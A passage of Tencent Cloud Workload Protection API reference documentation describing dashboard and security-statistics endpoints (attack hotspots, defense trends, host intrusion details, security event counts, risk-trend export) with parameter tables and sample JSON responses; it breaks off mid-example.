RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Anti-ransomware Snapshot Rollback

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: RansomDefenseRollback
<Common request parameters>

{
"Quuid": "xx",
"BackupTime": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "1ce68339-8828-457f-b358-d5b1b34e4fe9"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeScreenAttackHotspot

Last updated：2025-03-11 22:59:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to visually obtain the attacked hot spots across the entire network on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenAttackHotspot.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of ScreenAttackHotspot	Attack hotspot list Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Statistics on Security Events on Large Screen

This example shows you how to obtain the statistics on security events on the large screen.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenAttackHotspot
&<Common request parameters>
```

Output Example

```
{
"Response": {
"List": [
{
"CreatedTime": "2022-06-28 19:27:26",
"DstIp": "10.0.0.1",
"EventName": "Atlassian Crowd and Atlassian Crowd Data Center Input Verification
Error Vulnerability (CVE-2019-11580)",
"Region": "ap-guangzhou",
"SrcIp": "10.0.0.1"
}
],
"RequestId": "3dcfeooo-c2fa-4e5c-a1f7-9f28ce88f554"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.

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DescribeScreenBroadcasts

Last updated：2025-03-11 22:59:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the security report on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenBroadcasts.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of ScreenBroadcasts	Broadcasting article list Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Statistics on Security Events on Large Screen

This example shows you how to obtain the statistics on security events on the large screen.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenBroadcasts
&<Common request parameters>
```

Output Example

```
{
"Response": {
"List": [
{
"Id": 331,
"Level": 1,
"Time": "2024-08-07 18:57:27",
"Title": "Data Construction_1723028247"
}
],
"RequestId": "185a857f-c103-4e77-9380-a523f622dc90"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.
UnauthorizedOperation	Unauthorized operation.

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DescribeScreenDefenseTrends

Last updated：2025-03-11 22:59:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the visualized attack and defense trends on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenDefenseTrends.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StartTime	No	String	Start time
EndTime	No	String	End time

3. Output Parameters

Parameter Name	Type	Description

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TrendsChart	Array of ScreenTrendsChart	Trend charts of detailed statistics data Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Statistics Data on Security Events on the Big Screen

This example shows you how to obtain statistics data on security events on the big screen.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenDefenseTrends
&<Common request parameters>
```

Output Example


```
{
"Response": {
"RequestId": "ec95b0c7-a1f9-4806-991a-f600bb99edb2",
"TrendsChart": [
{
"Type": "Attack count",
"X": "2024-09-21",
"Y": 402
},
{
"Type": "Defense count",
"X": "2024-09-21",
"Y": 402
},
{
"Type": "Attack count",
"X": "2024-09-22",
"Y": 319
},
{
"Type": "Defense count",
"X": "2024-09-22",
```


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```
"Y": 319
},
{
"Type": "Attack count",
"X": "2024-09-23",
"Y": 517
},
{
"Type": "Defense count",
"X": "2024-09-23",
"Y": 517
},
{
"Type": "Attack count",
"X": "2024-09-24",
"Y": 486
},
{
"Type": "Defense count",
"X": "2024-09-24",
"Y": 486
},
{
"Type": "Attack count",
"X": "2024-09-25",
"Y": 422
},
{
"Type": "Defense count",
"X": "2024-09-25",
"Y": 422
},
{
"Type": "Attack count",
"X": "2024-09-26",
"Y": 477
},
{
"Type": "Defense count",
"X": "2024-09-26",
"Y": 477
},
{
"Type": "Defense count",
"X": "2024-09-27",
"Y": 461
},
```


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```
{
"Type": "Defense count",
"X": "2024-09-27",
"Y": 461
},
{
"Type": "Attack count",
"X": "2024-09-28",
"Y": 448
},
{
"Type": "Defense count",
"X": "2024-09-28",
"Y": 448
}
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.
UnauthorizedOperation	Unauthorized operation.

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DescribeScreenEmergentMsg

Last updated：2025-03-11 22:59:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the visualized emergency notification on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenEmergentMsg.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
MessageInfo	Array of ScreenEmergentMsg	Notification content

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Visualization Emergency Notification on the Large Screen

This example shows you the visualization emergency notification on the large screen.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenEmergentMsg
&<Common request parameters>
```

Output Example

```
{
"Response": {
"MessageInfo": [
{
"Text": "The newly-supported Jeecg-boot JimuReport evades vulnerability detection with the jmreport permission. Time disclosed: 2024-08-05 00:00:00",
"Title": "Urgent Notification",
"Type": 0
}
],
"RequestId": "0b2443b9-da24-449d-a07d-7ba389846886"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeScreenEventsCnt

Last updated：2025-03-11 22:59:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the statistics data of events on the security overview page.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenEventsCnt.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BusinessType	No	Integer	Data type: 0 - total number of pending risks; 1: total number of affected assets. The default is 0.

3. Output Parameters

Parameter Name	Type	Description

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Info	Array of ScreenEventsCnt	Event statistics details Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Statistics Data on Security Events on the Big Screen.

This example shows you how to obtain statistics data on security events on the big screen.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenEventsCnt
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Info": [
{
"Category": [
{
"Name": "Invasion detection",
"Value": 41343
},
{
"Name": "Network attack",
"Value": 5795
}
],
"Title": "Pending Risks in Total",
"Total": 47138
}
],
"RequestId": "42f1c2a0-088c-43bb-909f-b9d54809b1d1"
}
}
```

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5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.

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DescribeScreenHostInvasion

Last updated：2024-12-06 15:40:23

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the visualized host intrusion details on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenHostInvasion.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID

3. Output Parameters

Parameter Name	Type	Description
DefendAttackLog	Array of ScreenDefendAttackLog	List of network attack event

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InvasionEvents	Array of ScreenInvasion	List of intrusion detection event
Vul	Array of ScreenVulInfo	List of vulnerability event
Baseline	Array of ScreenBaselineInfo	List of baseline event Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenHostInvasion
&Quuid="xxx"
&<Common request parameters>
```

Output Example


```
{
"Response": {
"DefendAttackLog": [
{
"DstIp": "10.1.1.15",
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"VulType": "web",
"SrcPort": 1,
"HttpMethod": "POST",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"CreatedTime": " 2019-12-25 11:57:15",
"DstPort": 1,
"Id": 1,
"SrcIp": "10.1.1.14"
}
],
"Vul": [
{
"Category": 1,
```


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```
"Name": "name",
"Level": 1,
"VulId": 1,
"LastTime": " 2019-12-25 11:57:15",
"Id": 1,
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e"
}
],
"InvasionEvents": [
{
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Level": 1,
"EventType": 1,
"Content": "content",
"CreatedTime": " 2019-12-25 11:57:15",
"LevelZh": "level",
"Id": 1
}
],
"Baseline": [
{
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Level": 1,
"LastScanTime": " 2019-12-25 11:57:15",
"BaselineFailCount": 1,
"CategoryId": 1,
"Name": "name"
}
],
"RequestId": "1c26308c-1af3-4eaf-a817-112ec25f4dfa"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
UnauthorizedOperation	Unauthorized operation.

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DescribeScreenMachineRegions

Last updated：2025-03-12 17:49:31

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of available visualized host regions on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenMachineRegions.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of ScreenRegionInfo	List details Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenMachineRegions
&<Common request parameters>
```

Output Example

```
{
"Response": {
"List": [
{
"Region": "ap-guangzhou",
"RegionCode": "gz",
"RegionId": 1,
"RegionName": "South China (Guangzhou)",
"RegionNameEn": "South China (Guangzhou)"
},
{
"Region": "ap-nanjing",
"RegionCode": "nj",
"RegionId": 33,
"RegionName": "East China(Nanjing)",
"RegionNameEn": "East China(Nanjing)"
},
{
"Region": "ap-others",
"RegionCode": "others",
"RegionId": 47,
"RegionName": "Others (Other)",
"RegionNameEn": "Others (Other)"
},
{
"Region": "ap-beijing",
"RegionCode": "bj",
```

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```
"RegionId": 8,
"RegionName": "North China (Beijing)",
"RegionNameEn": "North China (Beijing)"
},
{
"Region": "ap-chengdu",
"RegionCode": "cd",
"RegionId": 16,
"RegionName": "Southwest China (Chengdu)",
"RegionNameEn": "Southwest China (Chengdu)"
},
{
"Region": "ap-shanghai",
"RegionCode": "sh",
"RegionId": 4,
"RegionName": "East China (Shanghai)"",
"RegionNameEn": "East China (Shanghai)"
}
],
"RequestId": "01b46ad0-11ab-46fe-9f54-d998385913ee"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.
UnauthorizedOperation	Unauthorized operation.

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DescribeScreenMachines

Last updated：2025-03-11 22:59:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the visualized list of host regions on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenMachines.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
MachineRegion	No	String	Host region
MachineIpOrAlias	No	String	Private IP address or host alias
SecurityStatus	No	Integer	Risky host type. 0: all types; 1: risky host; 2: host with potential risks; 3: host that is shut down or offline; 4: host with no risk.

3. Output Parameters

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Parameter Name	Type	Description
List	Array of ScreenRegionMachines	List details Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenMachines
&<Common request parameters>
```

Output Example


```
{
"Response": {
"List": [
{
"AttackCnt": 0,
"IgnoreCnt": 0,
"Machines": [
{
"BaselineNum": 147,
"CoreVersion": "3.10.0",
"CpuLoad": "Low",
"CpuSize": 2,
"CyberAttackNum": 162,
"DiskLoad": "32.07",
"DiskSize": 50,
"InvasionNum": 38479,
"MachineExtraInfo": {
"HostName": "hn",
"InstanceID": "ins-id",
"NetworkName": "vpc-id",
"NetworkType": 0,
```


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```
"PrivateIP": "1.1.1.1",
"WanIP": "1.1.1.1"
},
"MachineIp": "1.2.3.*",
"MachineName": "ha2",
"MachineOs": "CentOS 7.9 64 bit",
"MachineStatus": 9,
"MachineType": "CVM",
"MachineWanIp": "1.2.3.*",
"MemLoad": "36.52",
"MemSize": 4,
"Quuid": "1c26308c-5493-4eaf-***-112ec25f499e",
"SecurityStatus": "RISK",
"Uuid": "1c26308c-5493-4eaf-****-112ec25f499e",
"VulNum": 18
}
],
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RiskCnt": 1,
"SafetyCnt": 1,
"TotalCount": 1,
"UnAgentOfflineCnt": 1
}
],
"RequestId": "1c26308c-1234-5678-9101-112ec25f499e"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.
UnauthorizedOperation	Unauthorized operation.

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DescribeScreenProtectionCnt

Last updated：2025-03-11 22:59:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the visualized introduction of CWPP engine on the large screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenProtectionCnt.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of ScreenProtectionCnt	Introduction of CWPP protection engine

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenProtectionCnt
&<Common request parameters>
```

Output Example


```
{
"Response": {
"List": [
{
"Count": 7636893,
"Name": "Abnormal behavior",
"Type": "analysis"
},
{
"Count": 6142807,
"Name": "BinaryAI Engine",
"Type": "ai"
},
{
"Count": 30083186,
"Name": "Cloud Anti-virus Engine",
"Type": "cloud"
},
{
"Count": 5791759,
"Name": "TAV Engine",
"Type": "detect"
},
{
"Count": 1410148,
"Name": "Attack protection",
"Type": "defend"
},
```


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```
{
"Count": 1557109,
"Name": "Threat intelligence",
"Type": "threat"
}
],
"RequestId": "1703ef61-2b43-45bc-82e8-e13d3babdece"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeScreenRiskAssetsTop

Last updated：2025-03-11 22:59:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to count today's risky assets.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenRiskAssetsTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BusinessType	Yes	Integer	Statistics type: 0: potential threat; 1: compromised; 2: vulnerability; 3: baseline

3. Output Parameters

Parameter Name	Type	Description

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Chart	Array of ScreenNameValue	Statistical details icon data. Name: display the host IP and region; value: number of events Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Statistics on Security Events on Large Screen

This example shows you how to obtain the statistics on security events on the large screen.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeScreenRiskAssetsTop
<Common request parameters>

{
"BusinessType": 1
}
```

Output Example

```
{
"Response": {
"Chart": [
{
"Name": "1.1.1.1 Guangzhou",
"Value": 21
}
],
"RequestId": "f1d8e260-c75c-454d-bc84-34ce0ed8d9bf"
}
}
```

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5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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UnauthorizedOperation	Unauthorized operation.

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DescribeSecurityEventsCnt

Last updated：2024-12-06 15:40:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the statistics data of security overview-related events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSecurityEventsCnt.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Malware	SecurityEventInfo	Trojan file-related risk event
HostLogin	SecurityEventInfo	Log-in audit-related risk event

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BruteAttack	SecurityEventInfo	Password cracking-related risk event
RiskDns	SecurityEventInfo	Malicious request-related risk event
Bash	SecurityEventInfo	High-risk command-related risk event
PrivilegeRules	SecurityEventInfo	Local privilege escalation-related risk event
ReverseShell	SecurityEventInfo	Reverse Shell-related risk event
SysVul	SecurityEventInfo	Application vulnerability-related risk event
WebVul	SecurityEventInfo	Web application vulnerability-related risk event
EmergencyVul	SecurityEventInfo	Emergency vulnerability-related risk event
BaseLine	SecurityEventInfo	Security baseline-related risk event
AttackLogs	SecurityEventInfo	Attack detection-related risk event
EffectMachineCount	Integer	Number of affected machines
EventsCount	Integer	Total of number of events
WindowVul	SecurityEventInfo	Total of Windows system vulnerability events Note: This field may return null, indicating that no valid values can be obtained.
LinuxVul	SecurityEventInfo	Total of Linux system vulnerability events Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Statistics Data on Security Events

This example shows you how to obtain statistics data of security events.

Input Example

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```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeSecurityEventsCnt
&<Common request parameters>
```

Output Example


```
{
"Response": {
"Malware": {
"EventCnt": 1,
"UuidCnt": 1
},
"EventsCount": 1,
"ReverseShell": {
"EventCnt": 1,
"UuidCnt": 1
},
"BaseLine": {
"EventCnt": 1,
"UuidCnt": 1
},
"BruteAttack": {
"EventCnt": 1,
"UuidCnt": 1
},
"EffectMachineCount": 1,
"EmergencyVul": {
"EventCnt": 1,
"UuidCnt": 1
},
"SysVul": {
"EventCnt": 1,
"UuidCnt": 1
},
"PrivilegeRules": {
"EventCnt": 1,
"UuidCnt": 1
},
"RiskDns": {
"EventCnt": 1,
"UuidCnt": 1
},
"HostLogin": {
"EventCnt": 1,
"UuidCnt": 1
},
```


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```
"RequestId": "06eea0c1-7f08-41ba-a75e-8b2500e16bdf ",
"AttackLogs": {
"EventCnt": 1,
"UuidCnt": 1
},
"WindowVul": {
"EventCnt": 1,
"UuidCnt": 1
},
"LinuxVul": {
"EventCnt": 1,
"UuidCnt": 1
},
"Bash": {
"EventCnt": 1,
"UuidCnt": 1
},
"WebVul": {
"EventCnt": 1,
"UuidCnt": 1
}
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.

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ExportSecurityTrends

Last updated：2024-12-06 15:40:12

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export risk trends.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportSecurityTrends.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BeginDate	Yes	Date	Start time
EndDate	Yes	Date	End time

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	Export file download link.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Risk Trends

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportSecurityTrends
&BeginDate=2020-06-01
&EndDate=2020-06-10
&<Common request parameters>
```

Output Example

```
{
"Response": {
